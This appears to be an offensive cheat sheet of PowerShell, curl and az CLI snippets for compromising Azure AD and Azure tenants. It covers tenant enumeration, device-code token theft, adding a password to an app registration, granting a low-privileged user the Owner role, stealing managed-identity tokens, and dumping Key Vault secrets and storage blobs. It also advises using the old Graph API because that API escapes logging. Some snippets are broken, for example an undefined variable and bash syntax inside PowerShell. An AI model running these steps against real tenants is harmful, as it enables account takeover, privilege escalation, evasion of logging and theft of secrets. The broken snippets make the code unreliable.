API Resources
-
Writeup - Blog on undocumented API for messing with Conditional Access https://www.secureworks.com/research/tampering-with-conditional-access-policies-using-azure-ad-graph-api
-
Research - Very In Depth on FOCI / Family Refresh Tokens and AAD and Oauth in general. https://github.com/secureworks/family-of-client-ids-research/tree/main
-
Writeup - Abusing Family Refresh Tokens for Unauthorized Access and Persistence in Azure Active Directory https://troopers.de/downloads/troopers22/TR22_AbusingFamilyRefreshTokens.pdf
Specific APIs
-
AZ Module:
- ARM - management.azure.com
- MSGraph - graph.microsoft.com
AADGraph (graph.windows.com) - Best API to use when possible. API is deprecated and lacks the logging capabilities of MSGraph
Az Module uses management for all Azure ARM cmdlets and the NEW MSGraph for AzureAD, which could get logged. AzureAD/Preview uses AADGraph.
-
ROADRecon
- AADGraph 1.61-internal - https://graph.windows.net/{tenant}/
/1.61-internal This version API allows us to enumerate Conditional Access as normal user, whereas MSGraph does not
- AADGraph 1.61-internal - https://graph.windows.net/{tenant}/
Tenant Enumeration - /getuserrealm.srf and /$comp/.wellknown
$comp = "megabigtech.com"
# Check the AzureAD Realm dsicovery endpoint / RESTful API / Oauth2.0
curl.exe -v "https://login.microsoftonline.com/getuserrealm.srf?login=$comp&xml=1"
# OpenID Connect Discovery Endpoint / OAuth 2.0 Metadata
curl.exe -v "https://login.microsoftonline.com/$comp/.well-known/openid-configuration"
# Store the tenantId for later
$tenant = ""
MS Graph - Initiate Device Code Flow - RESTfUl API / OAuth2.0
For headless apps, apps where the password isn’t saved, certain cli use cases where direct input isn’t available
# paste this in a PowerShell console
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse
# then browse to https://microsoft.com/devicelogin and use the device_code
# finally execute this command to ask for tokens
$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens
Graph - Use Access Token to Retrieve Application and Add a Password
# Define the headers
$headers = @{
"Authorization" = "Bearer $accessToken"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
"Accept-Encoding" = "gzip, deflate"
"Accept" = "*/*"
}
# Define the API endpoint
$uri = "https://graph.microsoft.com/v1.0/applications"
# Send the HTTP request
$response = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get
# Output the response
$response
$jsonResponse = $response | ConvertTo-Json
$decodedResponse.value | Select-Object DisplayName, id, appId | Format-Table -AutoSize
# Set variables, 'id' as target for creating the password, 'appId' to use the password for serviceprincipal sign in
$appId = ""
$id = ""
$vulnApp = "$id"
# Target the app you want to add credentials for
$uri2 = "https://graph.microsoft.com/v1.0/applications/$vulnApp"
$response2 = Invoke-RestMethod -Uri $uri2 -Headers $headers -Method Get
$response2
# Add a Password to the App We Control
$uri3 = "https://graph.microsoft.com/v1.0/applications/$vulnApp/addPassword"
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
$body = @{
passwordCredential = @{
displayName = "Password friendly name"
}
} | ConvertTo-Json
$response3 = Invoke-RestMethod -Uri $uri3 -Headers $headers -Method POST -Body $body
# Save this password, you can't retrieve it again
$response3
$pass = ""
# Sign in and Check out our rights
# ServicePrincipal = the appID we didn't use earlier
az login --service-principal -u $appId -p $pass -t $tenantId --allow-no-subscriptions
az ad sp show --id $appId
az role assignment list --assignee $appId --scope /subscriptions/$subscriptionId
# Grant our original lowly user Modify Subscription Properties using new rights
$scrub = ""
az role assignment create --role "Owner" --assignee $scrub
AzureAD - Client Credentials Grant Flow - Sign in with Service Principal Password
Usually seen when an application needs to access resources as itself not on behalf of a user.
$clientId = ""
$clientSecret = ""
# RESTful
curl.exe --location --request POST "https://login.microsoftonline.com/$comp/oauth2/v2.0/token" \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "client_id=$clientId"" \
--data-urlencode 'scope=https://graph.microsoft.com/.default' \
--data-urlencode "client_secret=$clientSecret" \
--data-urlencode 'grant_type=client_credentials'
Internal APIs
Main APIs
https://graph.microsoft.com
https://management.azure.com
https://storage.azure.com
https://vault.azure.net
Internal IMDS - Get Token from MSI_ENDPOINT aka IDENTITY_ENDPOINT
MSI_ENDPOINT is an alias for IDENTITY_ENDPOINT, and MSI_SECRET is an alias for IDENTITY_HEADER. Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment variables: env
# Get an Access Token for management
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get an Access Token for vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get Graph Tokens
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
Internal IMDS - Use the token with the Managemnt or Graph API
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
App Services API
App Services - List App Service Plans
# Replace placeholders with your values
$subscriptionId = ""
$resourceGroupName = ""
# Get App Service Plans
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
$appServicePlansUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/serverFarms?api-version=2021-02-01"
$appServicePlans = Invoke-RestMethod -Uri $appServicePlansUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
$appServicePlans
App Services - List Web Apps
# Replace placeholders with your values
$subscriptionId = "<your-subscription-id>"
$resourceGroupName = "<your-resource-group-name>"
$clientId = ""
$clientSecret = ""
# Get access token
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
# List Web Apps
$webAppsUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites?api-version=2021-02-01"
$webApps = Invoke-RestMethod -Uri $webAppsUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
$webApps
App Services - Get WebApp Configuration
# Replace placeholders with your values
$subscriptionId = "<your-subscription-id>"
$resourceGroupName = "<your-resource-group-name>"
$appName = "<your-web-app-name>"
# Get access token
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
# Get Web App Configuration
$webAppConfigUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites/$appName/config/web?api-version=2021-02-01"
$webAppConfig = Invoke-RestMethod -Uri $webAppConfigUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
$webAppConfig
Storage API
Storage - List Storage Accounts
# Replace placeholders with your values
$subscriptionId = "<your-subscription-id>"
# Get access token
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
# List Storage Accounts
$storageAccountsUrl = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Storage/storageAccounts?api-version=2021-08-01"
$storageAccounts = Invoke-RestMethod -Uri $storageAccountsUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
$storageAccounts
Storage - List Containers in a Storage Account
# Replace placeholders with your values
$subscriptionId = "<your-subscription-id>"
$resourceGroupName = "<your-resource-group-name>"
$storageAccountName = "<your-storage-account-name>"
# Get access token
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
# List Containers within a Storage Account
$containersUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Storage/storageAccounts/$storageAccountName/blobServices/default/containers?api-version=2021-08-01"
$containers = Invoke-RestMethod -Uri $containersUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
$containers
Storage - List Blobs within Container
# Replace placeholders with your values
$subscriptionId = "<your-subscription-id>"
$resourceGroupName = "<your-resource-group-name>"
$storageAccountName = "<your-storage-account-name>"
$containerName = "<your-container-name>"
$clientId = ""
$clientSecret = ""
# Get access token
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
# List Blobs within a Container
$blobsUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Storage/storageAccounts/$storageAccountName/blobServices/default/containers/$containerName/blobs?api-version=2021-08-01"
$blobs = Invoke-RestMethod -Uri $blobsUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
$blobs
Storage - Download Blob Contents
# Replace placeholders with your values
$subscriptionId = "<your-subscription-id>"
$resourceGroupName = "<your-resource-group-name>"
$storageAccountName = "<your-storage-account-name>"
$containerName = "<your-container-name>"
$blobName = "<your-blob-name>"
$destinationFilePath = "<path-to-local-destination>"
# Get access token
$authUrl = "https://login.microsoftonline.com/$comp/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
scope = "https://storage.azure.com/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $authUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequest
$accessToken = $tokenResponse.access_token
# Download Blob (which can represent an individual file)
$blobUrl = "https://$storageAccountName.blob.core.windows.net/$containerName/$blobName"
Invoke-RestMethod -Uri $blobUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
} -OutFile $destinationFilePath
KeyVault API
KeyVault - List KeyVaults
# Replace placeholders with your values
$tenantId = "<your-tenant-id>"
$clientId = "<your-client-id>"
$clientSecret = "<your-client-secret>"
# Get an access token
$tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/token"
$tokenRequestBody = @{
client_id = $clientId
scope = "https://vault.azure.net/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $tokenUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequestBody
$accessToken = $tokenResponse.access_token
# List Azure Key Vaults
$vaultsUrl = "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01"
# Replace {subscription-id} and {resource-group-name} with your values or use a different method to list all vaults in your subscription
$vaultsResponse = Invoke-RestMethod -Uri $vaultsUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
# Output the list of vaults
$vaultsResponse.value
KeyZVault - LIst Vault Contents
# Replace placeholders with your values
$tenantId = "<your-tenant-id>"
$clientId = "<your-client-id>"
$clientSecret = "<your-client-secret>"
$vaultName = "<your-key-vault-name>"
# Get an access token
$tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/token"
$tokenRequestBody = @{
client_id = $clientId
scope = "https://vault.azure.net/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $tokenUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequestBody
$accessToken = $tokenResponse.access_token
# List the contents (secrets) of the Azure Key Vault
$secretsUrl = "https://$vaultName.vault.azure.net/secrets?api-version=7.0"
$secretsResponse = Invoke-RestMethod -Uri $secretsUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
# Output the list of secrets
$secretsResponse.value
KeyVault - Get Secret From Vault
# Replace placeholders with your values
$tenantId = "<your-tenant-id>"
$clientId = "<your-client-id>"
$clientSecret = "<your-client-secret>"
$vaultName = "<your-key-vault-name>"
$secretName = "<your-secret-name>"
# Get an access token
$tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/token"
$tokenRequestBody = @{
client_id = $clientId
scope = "https://vault.azure.net/.default"
client_secret = $clientSecret
grant_type = "client_credentials"
}
$tokenResponse = Invoke-RestMethod -Uri $tokenUrl -Method Post -ContentType "application/x-www-form-urlencoded" -Body $tokenRequestBody
$accessToken = $tokenResponse.access_token
# Retrieve the secret from Key Vault
$secretUrl = "https://$vaultName.vault.azure.net/secrets/$secretName/?api-version=7.0"
$secretResponse = Invoke-RestMethod -Uri $secretUrl -Method Get -Headers @{
Authorization = "Bearer $accessToken"
}
# Extract the secret value
$secretValue = $secretResponse.value.secret
# Output the secret value (for demonstration purposes)
Write-Host "Secret Value: $secretValue"